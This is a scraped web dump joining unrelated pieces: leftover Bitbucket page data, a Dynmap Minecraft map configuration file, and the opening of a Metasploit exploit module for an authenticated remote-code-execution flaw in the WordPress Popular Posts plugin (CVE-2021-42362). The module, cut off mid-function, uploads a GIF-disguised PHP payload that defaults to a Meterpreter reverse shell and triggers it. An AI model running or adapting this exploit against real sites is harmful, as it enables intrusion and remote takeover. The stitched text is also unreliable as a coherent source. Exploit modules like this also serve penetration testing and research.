"anchor": true, "badge_label": null, "analytics_payload": {}, "matching_url_prefixes": [], "id": "repo-downloads-link", "type": "menu_item", "children": [], "icon": "icon-downloads"}], "bitbucketActions": [{"analytics_label": "repository.clone", "is_client_link": false, "icon_class": "icon-clone", "target": "_self", "weight": 100, "url": "#clone", "tab_name": "clone", "can_display": true, "label": "<strong>Clone<\/strong> this repository", "is_premium": null, "is_dropdown_item": false, "anchor": true, "badge_label": null, "analytics_payload": {}, "matching_url_prefixes": [], "id": "repo-clone-button", "type": "menu_item", "children": [], "icon": "icon-clone"}, {"analytics_label": "repository.compare", "is_client_link": false, "icon_class": "aui-icon-small aui-iconfont-devtools-compare", "target": "_self", "weight": 400, "url": "/__wp__/mb-linux-msli/branches/compare", "tab_name": "compare", "can_display": true, "label": "<strong>Compare<\/strong> branches or tags", "is_premium": null, "is_dropdown_item": false, "anchor": true, "badge_label": null, "analytics_payload": {}, "matching_url_prefixes": [], "id": "repo-compare-link", "type": "menu_item", "children": [], "icon": "aui-icon-small aui-iconfont-devtools-compare"}, {"analytics_label": "repository.fork", "is_client_link": false, "icon_class": "icon-fork", "target": "_self", "weight": 500, "url": "/__wp__/mb-linux-msli/fork", "tab_name": "fork", "can_display": true, "label": "<strong>Fork<\/strong> this repository", "is_premium": null, "is_dropdown_item": false, "anchor": true, "badge_label": null, "analytics_payload": {}, "matching_url_prefixes": [], "id": "repo-fork-link", "type": "menu_item", "children": [], "icon": "icon-fork"}], "activeMenuItem": "source"}}, "global": {"needs_marketing_consent": false, "features": {"fd-send-webhooks-to-webhook-processor": true, "exp-share-to-invite-variation": false, "allocate-with-regions": true, "frontbucket-eager-dispatching-of-exited-code-review": true, "orochi-git-diff-refactor": true, "use-elasticache-lsn-storage": true, "workspaces-api-proxy": true, "webhook_encryption_disabled": true, "uninstall-dvcs-addon-only-when-jira-is-removed": true, "log-asap-errors": true, "connect-iframe-no-sub": true, "support-sending-custom-events-to-the-webhook-processor": true, "sync-aid-revoked-to-workspace": true, "new-analytics-cdn": true, "nav-add-file": false, "custom-default-branch-name-repo-create": true, "allow-users-members-endpoint": true, "remove-deactivated-users-from-followers": true, "whitelisted_throttle_exemption": true, "api-diff-caching": true, "hot-91446-add-tracing-x-b3": true, "reset-changes-requested-status": true, "provision-workspaces-in-hams": true, "provisioning-skip-workspace-creation": true, "record-site-addon-version": true, "restrict-commit-author-data": true, "enable-jwt-repo-filtering": true, "reviewer-status": true, "fd-add-gitignore-dropdown-on-create-repo-page": true, "repo-show-uuid": false, "workspace-member-set-last-accessed": true, "provisioning-install-pipelines-addon": true, "expand-accesscontrol-cache-key": true, "disable-hg": true, "new-code-review": true, "orochi-disable-hooks-with-lockid": true, "fd-prs-client-cache-fallback": true, "fd-ie-deprecation-phase-one": true, "clone-in-xcode": true, "enable-merge-bases-api": true, "bbc.core.disable-repository-statuses-fetch": false, "bms-repository-no-finalize": true, "use-moneybucket": true, "spa-repo-settings--repo-details": true, "use-py-hams-client-asap": true, "sync-workspace-user-active": true, "fetch-all-relevant-jira-projects": true, "connect-iframe-sandbox": true, "nav-next-settings": true, "auth-flow-adg3": true, "consenthub-config-endpoint-update": true, "new-code-review-onboarding-experience": true, "disable-repository-replication-task": true, "lookup-pr-approvers-from-prs": true, "orochi-add-custom-backend": true, "null-mainbranch-implies-none": true, "bbc.core.pride-logo": false, "pr_post_build_merge": true, "fd-ie-deprecation-phase-two": true, "workspace-ui": true, "provisioning-auto-login": true, "bbcdev-13546-caching-defaults": true, "hide-price-annual": true, "fd-jira-compatible-issue-export": true, "account-switcher": true, "user-mentions-repo-filtering": true, "spa-repo-settings--access-keys": true, "read-only-message-migrations": true, "free-daily-repo-limit": true, "svg-based-qr-code": true, "allow-cloud-session": true, "orochi-custom-default-branch-name-repo-create": true, "fd-overview-page-pr-filter-buttons": true, "show-upgrade-plans-banner": true}, "locale": "en", "geoip_country": null, "targetFeatures": {"fd-send-webhooks-to-webhook-processor": true, "orochi-large-merge-message-support": true, "allocate-with-regions": true, "frontbucket-eager-dispatching-of-exited-code-review": true, "orochi-git-diff-refactor": true, "fd-repository-page-loading-error-guard": true, "workspaces-api-proxy": true, "webhook_encryption_disabled": true, "uninstall-dvcs-addon-only-when-jira-is-removed": true, "whitelisted_throttle_exemption": true, "connect-iframe-no-sub": true, "support-sending-custom-events-to-the-webhook-processor": true, "sync-aid-revoked-to-workspace": true, "new-analytics-cdn": true, "log-asap-errors": true, "custom-default-branch-name-repo-create": true, "allow-users-members-endpoint": true, "remove-deactivated-users-from-followers": true, "expand-accesscontrol-cache-key": true, "api-diff-caching": true, "prlinks-installer": true, "rm-empty-ref-dirs-on-push": true, "reset-changes-requested-status": true, "provision-workspaces-in-hams": true, "provisioning-skip-workspace-creation": true, "record-site-addon-version": true, "restrict-commit-author-data": true, "enable-jwt-repo-filtering": true, "show-banner-about-new-review-experience": true, "enable-merge-bases-api": true, "account-switcher": true, "reviewer-status": true, "fd-add-gitignore-dropdown-on-create-repo-page": true, "use-elasticache-lsn-storage": true, "workspace-member-set-last-accessed": true, "provisioning-install-pipelines-addon": true, "consenthub-config-endpoint-update": true, "disable-hg": true, "new-code-review": true, "orochi-disable-hooks-with-lockid": true, "show-pr-update-activity-changes": true, "fd-ie-deprecation-phase-one": true, "clone-in-xcode": true, "fd-undo-last-push": false, "bms-repository-no-finalize": true, "exp-new-user-survey": true, "use-moneybucket": true, "spa-repo-settings--repo-details": true, "use-py-hams-client-asap": true, "atlassian-editor": true, "sync-workspace-user-active": true, "fetch-all-relevant-jira-projects": true, "hot-91446-add-tracing-x-b3": true, "connect-iframe-sandbox": true, "nav-next-settings": true, "auth-flow-adg3": true, "view-source-filtering-upon-timeout": true, "new-code-review-onboarding-experience": true, "disable-repository-replication-task": true, "lookup-pr-approvers-from-prs": true, "orochi-add-custom-backend": true, "null-mainbranch-implies-none": true, "fd-prs-client-cache-fallback": true, "pr_post_build_merge": true, "fd-ie-deprecation-phase-two": true, "workspace-ui": true, "provisioning-auto-login": true, "bbcdev-13546-caching-defaults": true, "hide-price-annual": true, "fd-jira-compatible-issue-export": true, "enable-fx3-client": true, "spa-repo-settings--access-keys": true, "read-only-message-migrations": true, "free-daily-repo-limit": true, "svg-based-qr-code": true, "allow-cloud-session": true, "orochi-custom-default-branch-name-repo-create": true, "markdown-embedded-html": false, "fd-overview-page-pr-filter-buttons": true, "show-upgrade-plans-banner": true}, "isFocusedTask": false, "browser_monitoring": true, "targetUser": {"username": "__wp__", "display_name": "__WP__", "uuid": "{55ded115-598c-4864-b0e7-cdef05771294}", "links": {"self": {"href": "https://bitbucket.org/!api/2.0/teams/%7B55ded115-598c-4864-b0e7-cdef05771294%7D"}, "html": {"href": "https://bitbucket.org/%7B55ded115-598c-4864-b0e7-cdef05771294%7D/"}, "avatar": {"href": "https://bitbucket.org/account/__wp__/avatar/"}}, "is_active": true, "created_on": "2012-09-12T18:04:32.423010+00:00", "type": "team", "properties": {}, "has_2fa_enabled": null}, "is_mobile_user_agent": false, "flags": [], "site_message": "", "isNavigationOpen": true, "path": "/__wp__/mb-linux-msli/src/master/", "focusedTaskBackButtonUrl": null, "whats_new_feed": "https://bitbucket.org/blog/wp-json/wp/v2/posts?categories=196&context=embed&per_page=6&orderby=date&order=desc"}, "repository": {"source": {"section": {"hash": "ae5d81ca8c8265958d9847aecca0505dbce92217", "atRef": null, "ref": {"name": "master", "links": {"self": {"href": "https://bitbucket.org/!api/2.0/repositories/__wp__/mb-linux-msli/refs/branches/master"}, "html": {"href": "https://bitbucket.org/__wp__/mb-linux-msli/branch/master"}}, "target": {"type": "commit", "hash": "ae5d81ca8c8265958d9847aecca0505dbce92217", "links": {"self": {"href": "https://bitbucket.org/!api/2.0/repositories/__wp__/mb-linux-msli/commit/ae5d81ca8c8265958d9847aecca0505dbce92217"}, "html": {"href": "https://bitbucket.org/__wp__/mb-linux-msli/commits/ae5d81ca8c8265958d9847aecca0505dbce92217"}}}}}}}}; window.__settings__ = {"MARKETPLACE_TERMS_OF_USE_URL": null, "JIRA_ISSUE_COLLECTORS": {"code-review-beta": {"url": "https://bitbucketfeedback.atlassian.net/s/d41d8cd98f00b204e9800998ecf8427e-T/-4bqv2z/b/20/a44af77267a987a660377e5c46e0fb64/_/download/batch/com.atlassian.jira.collector.plugin.jira-issue-collector-plugin:issuecollector/com.atlassian.jira.collector.plugin.jira-issue-collector-plugin:issuecollector.js?locale=en-US&collectorId=bb066400", "id": "bb066400"}, "jira-software-repo-page": {"url": "https://jira.atlassian.com/s/1ce410db1c7e1b043ed91ab8e28352e2-T/yl6d1c/804001/619f60e5de428c2ed7545f16096c303d/3.1.0/_/download/batch/com.atlassian.jira.collector.plugin.jira-issue-collector-plugin:issuecollector/com.atlassian.jira.collector.plugin.jira-issue-collector-plugin:issuecollector.js?locale=en-UK&collectorId=064d6699", "id": "064d6699"}, "code-review-rollout": {"url": "https://bitbucketfeedback.atlassian.net/s/d41d8cd98f00b204e9800998ecf8427e-T/-4bqv2z/b/20/a44af77267a987a660377e5c46e0fb64/_/download/batch/com.atlassian.jira.collector.plugin.jira-issue-collector-plugin:issuecollector/com.atlassian.jira.collector.plugin.jira-issue-collector-plugin:issuecollector.js?locale=en-US&collectorId=de003e2d", "id": "de003e2d"}, "source-browser": {"url": "https://bitbucketfeedback.atlassian.net/s/d41d8cd98f00b204e9800998ecf8427e-T/-tqnsjm/b/20/a44af77267a987a660377e5c46e0fb64/_/download/batch/com.atlassian.jira.collector.plugin.jira-issue-collector-plugin:issuecollector/com.atlassian.jira.collector.plugin.jira-issue-collector-plugin:issuecollector.js?locale=en-US&collectorId=c19c2ff6", "id": "c19c2ff6"}}, "STATUSPAGE_URL": "https://bitbucket.status.atlassian.com/", "CANON_URL": "https://bitbucket.org", "CONSENT_HUB_FRONTEND_BASE_URL": "https://preferences.atlassian.com", "API_CANON_URL": "https://api.bitbucket.org", "SOCIAL_AUTH_ATLASSIANID_LOGOUT_URL": "https://id.atlassian.com/logout", "EMOJI_STANDARD_BASE_URL": "https://api-private.atlassian.com/emoji/"}; window.__webpack_nonce__ = 'xxI7cPsOVRt9B81s'; window.isInitialLoadApdex = true; </script> <script nonce="xxI7cPsOVRt9B81s" src="https://d301sr5gafysq2.cloudfront.net/frontbucket/assets/i18n/en.4509eaad.js"></script> <script nonce="xxI7cPsOVRt9B81s" src="https://d301sr5gafysq2.cloudfront.net/frontbucket/assets/present/ajs.53f719bc.js"></script> <script nonce="xxI7cPsOVRt9B81s" src="https://d301sr5gafysq2.cloudfront.net/frontbucket/assets/present/app.8acf32f0.js"></script> <script nonce="xxI7cPsOVRt9B81s" src="https://d301sr5gafysq2.cloudfront.net/frontbucket/assets/present/performance-timing.f1eda5e1.js" defer></script> <script nonce="xxI7cPsOVRt9B81s" type="text/javascript">window.NREUM||(NREUM={});NREUM.info={"beacon":"bam-cell.nr-data.net","queueTime":0,"licenseKey":"a2cef8c3d3","agent":"","transactionName":"NFcGYEdUW0IAVE1QCw0dIkFbVkFYDlkWWw0XUBFXXlBBHwBHSUpKEVcUWwcbQ1gEQEoDNwxHFldQY1xUFhleXBA=","applicationID":"548124220,1841284","errorBeacon":"bam-cell.nr-data.net","applicationTime":263}</script> </body> </html>
Nixy1234
# All paths in this configuration file are relative to Dynmap's data-folder: minecraft_server/dynmap/ # All map templates are defined in the templates directory # To use the HDMap very-low-res (2 ppb) map templates as world defaults, set value to vlowres # The definitions of these templates are in normal-vlowres.txt, nether-vlowres.txt, and the_end-vlowres.txt # To use the HDMap low-res (4 ppb) map templates as world defaults, set value to lowres # The definitions of these templates are in normal-lowres.txt, nether-lowres.txt, and the_end-lowres.txt # To use the HDMap hi-res (16 ppb) map templates (these can take a VERY long time for initial fullrender), set value to hires # The definitions of these templates are in normal-hires.txt, nether-hires.txt, and the_end-hires.txt # To use the HDMap low-res (4 ppb) map templates, with support for boosting resolution selectively to hi-res (16 ppb), set value to low_boost_hi # The definitions of these templates are in normal-low_boost_hi.txt, nether-low_boost_hi.txt, and the_end-low_boost_hi.txt # To use the HDMap hi-res (16 ppb) map templates, with support for boosting resolution selectively to vhi-res (32 ppb), set value to hi_boost_vhi # The definitions of these templates are in normal-hi_boost_vhi.txt, nether-hi_boost_vhi.txt, and the_end-hi_boost_vhi.txt # To use the HDMap hi-res (16 ppb) map templates, with support for boosting resolution selectively to xhi-res (64 ppb), set value to hi_boost_xhi # The definitions of these templates are in normal-hi_boost_xhi.txt, nether-hi_boost_xhi.txt, and the_end-hi_boost_xhi.txt deftemplatesuffix: lowres # Map storage scheme: only uncommoent one 'type' value # filetree: classic and default scheme: tree of files, with all map data under the directory indicated by 'tilespath' setting # sqlite: single SQLite database file (this can get VERY BIG), located at 'dbfile' setting (default is file dynmap.db in data directory) # mysql: MySQL database, at hostname:port in database, accessed via userid with password # mariadb: MariaDB database, at hostname:port in database, accessed via userid with password # postgres: PostgreSQL database, at hostname:port in database, accessed via userid with password storage: # Filetree storage (standard tree of image files for maps) type: filetree # SQLite db for map storage (uses dbfile as storage location) #type: sqlite #dbfile: dynmap.db # MySQL DB for map storage (at 'hostname':'port' in database 'database' using user 'userid' password 'password' and table prefix 'prefix' #type: mysql #hostname: localhost #port: 3306 #database: dynmap #userid: dynmap #password: dynmap #prefix: "" components: - class: org.dynmap.ClientConfigurationComponent - class: org.dynmap.InternalClientUpdateComponent sendhealth: true sendposition: true allowwebchat: true webchat-interval: 5 hidewebchatip: false trustclientname: false includehiddenplayers: false # (optional) if true, color codes in player display names are used use-name-colors: false # (optional) if true, player login IDs will be used for web chat when their IPs match use-player-login-ip: true # (optional) if use-player-login-ip is true, setting this to true will cause chat messages not matching a known player IP to be ignored require-player-login-ip: false # (optional) block player login IDs that are banned from chatting block-banned-player-chat: true # Require login for web-to-server chat (requires login-enabled: true) webchat-requires-login: false # If set to true, users must have dynmap.webchat permission in order to chat webchat-permissions: false # Limit length of single chat messages chatlengthlimit: 256 # # Optional - make players hidden when they are inside/underground/in shadows (#=light level: 0=full shadow,15=sky) # hideifshadow: 4 # # Optional - make player hidden when they are under cover (#=sky light level,0=underground,15=open to sky) # hideifundercover: 14 # # (Optional) if true, players that are crouching/sneaking will be hidden hideifsneaking: false # If true, player positions/status is protected (login with ID with dynmap.playermarkers.seeall permission required for info other than self) protected-player-info: false # If true, hide players with invisibility potion effects active hide-if-invisiblity-potion: true # If true, player names are not shown on map, chat, list hidenames: false #- class: org.dynmap.JsonFileClientUpdateComponent # writeinterval: 1 # sendhealth: true # sendposition: true # allowwebchat: true # webchat-interval: 5 # hidewebchatip: false # includehiddenplayers: false # use-name-colors: false # use-player-login-ip: false # require-player-login-ip: false # block-banned-player-chat: true # hideifshadow: 0 # hideifundercover: 0 # hideifsneaking: false # # Require login for web-to-server chat (requires login-enabled: true) # webchat-requires-login: false # # If set to true, users must have dynmap.webchat permission in order to chat # webchat-permissions: false # # Limit length of single chat messages # chatlengthlimit: 256 # hide-if-invisiblity-potion: true # hidenames: false - class: org.dynmap.SimpleWebChatComponent allowchat: true # If true, web UI users can supply name for chat using 'playername' URL parameter. 'trustclientname' must also be set true. allowurlname: false # Note: this component is needed for the dmarker commands, and for the Marker API to be available to other plugins - class: org.dynmap.MarkersComponent type: markers showlabel: false enablesigns: false # Default marker set for sign markers default-sign-set: markers # (optional) add spawn point markers to standard marker layer showspawn: true spawnicon: world spawnlabel: "Spawn" # (optional) layer for showing offline player's positions (for 'maxofflinetime' minutes after logoff) showofflineplayers: false offlinelabel: "Offline" offlineicon: offlineuser offlinehidebydefault: true offlineminzoom: 0 maxofflinetime: 30 # (optional) layer for showing player's spawn beds showspawnbeds: false spawnbedlabel: "Spawn Beds" spawnbedicon: bed spawnbedhidebydefault: true spawnbedminzoom: 0 spawnbedformat: "%name%'s bed" # (optional) Show world border (vanilla 1.8+) showworldborder: true worldborderlabel: "Border" - class: org.dynmap.ClientComponent type: chat allowurlname: false - class: org.dynmap.ClientComponent type: chatballoon focuschatballoons: false - class: org.dynmap.ClientComponent type: chatbox showplayerfaces: true messagettl: 5 # Optional: set number of lines in scrollable message history: if set, messagettl is not used to age out messages #scrollback: 100 # Optional: set maximum number of lines visible for chatbox #visiblelines: 10 # Optional: send push button sendbutton: false - class: org.dynmap.ClientComponent type: playermarkers showplayerfaces: true showplayerhealth: true # If true, show player body too (only valid if showplayerfaces=true showplayerbody: false # Option to make player faces small - don't use with showplayerhealth smallplayerfaces: false # Optional - make player faces layer hidden by default hidebydefault: false # Optional - ordering priority in layer menu (low goes before high - default is 0) layerprio: 0 # Optional - label for player marker layer (default is 'Players') label: "Players" #- class: org.dynmap.ClientComponent # type: digitalclock - class: org.dynmap.ClientComponent type: link - class: org.dynmap.ClientComponent type: timeofdayclock showdigitalclock: true #showweather: true # Mouse pointer world coordinate display - class: org.dynmap.ClientComponent type: coord label: "Location" hidey: false show-mcr: false show-chunk: false # Note: more than one logo component can be defined #- class: org.dynmap.ClientComponent # type: logo # text: "Dynmap" # #logourl: "images/block_surface.png" # linkurl: "http://forums.bukkit.org/threads/dynmap.489/" # # Valid positions: top-left, top-right, bottom-left, bottom-right # position: bottom-right #- class: org.dynmap.ClientComponent # type: inactive # timeout: 1800 # in seconds (1800 seconds = 30 minutes) # redirecturl: inactive.html # #showmessage: 'You were inactive for too long.' #- class: org.dynmap.TestComponent # stuff: "This is some configuration-value" # Treat hiddenplayers.txt as a whitelist for players to be shown on the map? (Default false) display-whitelist: false # How often a tile gets rendered (in seconds). renderinterval: 1 # How many tiles on update queue before accelerate render interval renderacceleratethreshold: 60 # How often to render tiles when backlog is above renderacceleratethreshold renderaccelerateinterval: 0.2 # How many update tiles to work on at once (if not defined, default is 1/2 the number of cores) tiles-rendered-at-once: 2 # If true, use normal priority threads for rendering (versus low priority) - this can keep rendering # from starving on busy Windows boxes (Linux JVMs pretty much ignore thread priority), but may result # in more competition for CPU resources with other processes usenormalthreadpriority: true # Save and restore pending tile renders - prevents their loss on server shutdown or /reload saverestorepending: true # Save period for pending jobs (in seconds): periodic saving for crash recovery of jobs save-pending-period: 900 # Zoom-out tile update period - how often to scan for and process tile updates into zoom-out tiles (in seconds) zoomoutperiod: 30 # Control whether zoom out tiles are validated on startup (can be needed if zoomout processing is interrupted, but can be expensive on large maps) initial-zoomout-validate: true # Default delay on processing of updated tiles, in seconds. This can reduce potentially expensive re-rendering # of frequently updated tiles (such as due to machines, pistons, quarries or other automation). Values can # also be set on individual worlds and individual maps. tileupdatedelay: 30 # Tile hashing is used to minimize tile file updates when no changes have occurred - set to false to disable enabletilehash: true # Optional - hide ores: render as normal stone (so that they aren't revealed by maps) #hideores: true # Optional - enabled BetterGrass style rendering of grass and snow block sides #better-grass: true # Optional - enable smooth lighting by default on all maps supporting it (can be set per map as lighting option) smooth-lighting: true # Optional - use world provider lighting table (good for custom worlds with custom lighting curves, like nether) # false=classic Dynmap lighting curve use-brightness-table: true # Optional - render specific block names using the textures and models of another block name: can be used to hide/disguise specific # blocks (e.g. make ores look like stone, hide chests) or to provide simple support for rendering unsupported custom blocks block-alias: # "minecraft:quartz_ore": "stone" # "diamond_ore": "coal_ore" # Default image format for HDMaps (png, jpg, jpg-q75, jpg-q80, jpg-q85, jpg-q90, jpg-q95, jpg-q100, webp, webp-q75, webp-q80, webp-q85, webp-q90, webp-q95, webp-q100), # Note: any webp format requires the presence of the 'webp command line tools' (cwebp, dwebp) (https://developers.google.com/speed/webp/download) # # Has no effect on maps with explicit format settings image-format: jpg-q90 # If cwebp or dwebp are not on the PATH, use these settings to provide their full path. Do not use these settings if the tools are on the PATH # For Windows, include .exe # #cwebpPath: /usr/bin/cwebp #dwebpPath: /usr/bin/dwebp # use-generated-textures: if true, use generated textures (same as client); false is static water/lava textures # correct-water-lighting: if true, use corrected water lighting (same as client); false is legacy water (darker) # transparent-leaves: if true, leaves are transparent (lighting-wise): false is needed for some Spout versions that break lighting on leaf blocks use-generated-textures: true correct-water-lighting: true transparent-leaves: true # ctm-support: if true, Connected Texture Mod (CTM) in texture packs is enabled (default) ctm-support: true # custom-colors-support: if true, Custom Colors in texture packs is enabled (default) custom-colors-support: true # Control loading of player faces (if set to false, skins are never fetched) #fetchskins: false # Control updating of player faces, once loaded (if faces are being managed by other apps or manually) #refreshskins: false # Customize URL used for fetching player skins (%player% is macro for name) skin-url: "http://skins.minecraft.net/MinecraftSkins/%player%.png" # Control behavior for new (1.0+) compass orientation (sunrise moved 90 degrees: east is now what used to be south) # default is 'newrose' (preserve pre-1.0 maps, rotate rose) # 'newnorth' is used to rotate maps and rose (requires fullrender of any HDMap map - same as 'newrose' for FlatMap or KzedMap) compass-mode: newnorth # Triggers for automatic updates : blockupdate-with-id is debug for breaking down updates by ID:meta # To disable, set just 'none' and comment/delete the rest render-triggers: - blockupdate #- blockupdate-with-id #- lightingupdate - chunkpopulate - chunkgenerate #- none # Title for the web page - if not specified, defaults to the server's name (unless it is the default of 'Unknown Server') #webpage-title: "My Awesome Server Map" # The path where the tile-files are placed. tilespath: web/tiles # The path where the web-files are located. webpath: web # The path were the /dynmapexp command exports OBJ ZIP files exportpath: export # The network-interface the webserver will bind to (0.0.0.0 for all interfaces, 127.0.0.1 for only local access). # If not set, uses same setting as server in server.properties (or 0.0.0.0 if not specified) #webserver-bindaddress: 0.0.0.0 # The TCP-port the webserver will listen on. webserver-port: 8123 # Maximum concurrent session on internal web server - limits resources used in Bukkit server max-sessions: 30 # Disables Webserver portion of Dynmap (Advanced users only) disable-webserver: false # Enable/disable having the web server allow symbolic links (true=compatible with existing code, false=more secure (default)) allow-symlinks: true # Enable login support login-enabled: false # Require login to access website (requires login-enabled: true) login-required: false # Period between tile renders for fullrender, in seconds (non-zero to pace fullrenders, lessen CPU load) timesliceinterval: 0.0 # Maximum chunk loads per server tick (1/20th of a second) - reducing this below 90 will impact render performance, but also will reduce server thread load maxchunkspertick: 200 # Progress report interval for fullrender/radiusrender, in tiles. Must be 100 or greater progressloginterval: 100 # Parallel fullrender: if defined, number of concurrent threads used for fullrender or radiusrender # Note: setting this will result in much more intensive CPU use, some additional memory use. Caution should be used when # setting this to equal or exceed the number of physical cores on the system. #parallelrendercnt: 4 # Interval the browser should poll for updates. updaterate: 2000 # If nonzero, server will pause fullrender/radiusrender processing when 'fullrenderplayerlimit' or more users are logged in fullrenderplayerlimit: 0 # If nonzero, server will pause update render processing when 'updateplayerlimit' or more users are logged in updateplayerlimit: 0 # Target limit on server thread use - msec per tick per-tick-time-limit: 50 # If TPS of server is below this setting, update renders processing is paused update-min-tps: 18.0 # If TPS of server is below this setting, full/radius renders processing is paused fullrender-min-tps: 18.0 # If TPS of server is below this setting, zoom out processing is paused zoomout-min-tps: 18.0 showplayerfacesinmenu: true # Control whether players that are hidden or not on current map are grayed out (true=yes) grayplayerswhenhidden: true # Set sidebaropened: 'true' to pin menu sidebar opened permanently, 'pinned' to default the sidebar to pinned, but allow it to unpin #sidebaropened: true # Customized HTTP response headers - add 'id: value' pairs to all HTTP response headers (internal web server only) #http-response-headers: # Access-Control-Allow-Origin: "my-domain.com" # X-Custom-Header-Of-Mine: "MyHeaderValue" # Trusted proxies for web server - which proxy addresses are trusted to supply valid X-Forwarded-For fields trusted-proxies: - "127.0.0.1" - "0:0:0:0:0:0:0:1" joinmessage: "%playername% joined" quitmessage: "%playername% quit" spammessage: "You may only chat once every %interval% seconds." # format for messages from web: %playername% substitutes sender ID (typically IP), %message% includes text webmsgformat: "&color;2[WEB] %playername%: &color;f%message%" # Control whether layer control is presented on the UI (default is true) showlayercontrol: true # Enable checking for banned IPs via banned-ips.txt (internal web server only) check-banned-ips: true # Default selection when map page is loaded defaultzoom: 0 defaultworld: world defaultmap: flat # (optional) Zoom level and map to switch to when following a player, if possible #followzoom: 3 #followmap: surface # If true, make persistent record of IP addresses used by player logins, to support web IP to player matching persist-ids-by-ip: true # If true, map text to cyrillic cyrillic-support: false # Messages to customize msg: maptypes: "Map Types" players: "Players" chatrequireslogin: "Chat Requires Login" chatnotallowed: "You are not permitted to send chat messages" hiddennamejoin: "Player joined" hiddennamequit: "Player quit" # URL for client configuration (only need to be tailored for proxies or other non-standard configurations) url: # configuration URL #configuration: "up/configuration" # update URL #update: "up/world/{world}/{timestamp}" # sendmessage URL #sendmessage: "up/sendmessage" # login URL #login: "up/login" # register URL #register: "up/register" # tiles base URL #tiles: "tiles/" # markers base URL #markers: "tiles/" # Snapshot cache size, in chunks snapshotcachesize: 500 # Snapshot cache uses soft references (true), else weak references (false) soft-ref-cache: true # Player enter/exit title messages for map markers # # Processing period - how often to check player positions vs markers - default is 1000ms (1 second) #enterexitperiod: 1000 # Title message fade in time, in ticks (0.05 second intervals) - default is 10 (1/2 second) #titleFadeIn: 10 # Title message stay time, in ticks (0.05 second intervals) - default is 70 (3.5 seconds) #titleStay: 70 # Title message fade out time, in ticks (0.05 seocnd intervals) - default is 20 (1 second) #titleFadeOut: 20 # Enter/exit messages use on screen titles (true - default), if false chat messages are sent instead #enterexitUseTitle: true # Set true if new enter messages should supercede pending exit messages (vs being queued in order), default false #enterReplacesExits: true # Set to true to enable verbose startup messages - can help with debugging map configuration problems # Set to false for a much quieter startup log verbose: false # Enables debugging. #debuggers: # - class: org.dynmap.debug.LogDebugger # Debug: dump blocks missing render data dump-missing-blocks: false
Nate0634034090
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ], [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584 OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts not a vulnerable version') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # loop this 5 times just incase there is a time delay in writing the file by the server (1..5).each do |i| print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('Failed to find payload, may not have uploaded correctly.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Responding to initial HEAD request (passed check 1)') # according to https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests we should have a valid Content-Length # however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes. # also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('Responding to GET request (passed check 2)') send_response(cli, "GIF#{payload.encoded}", 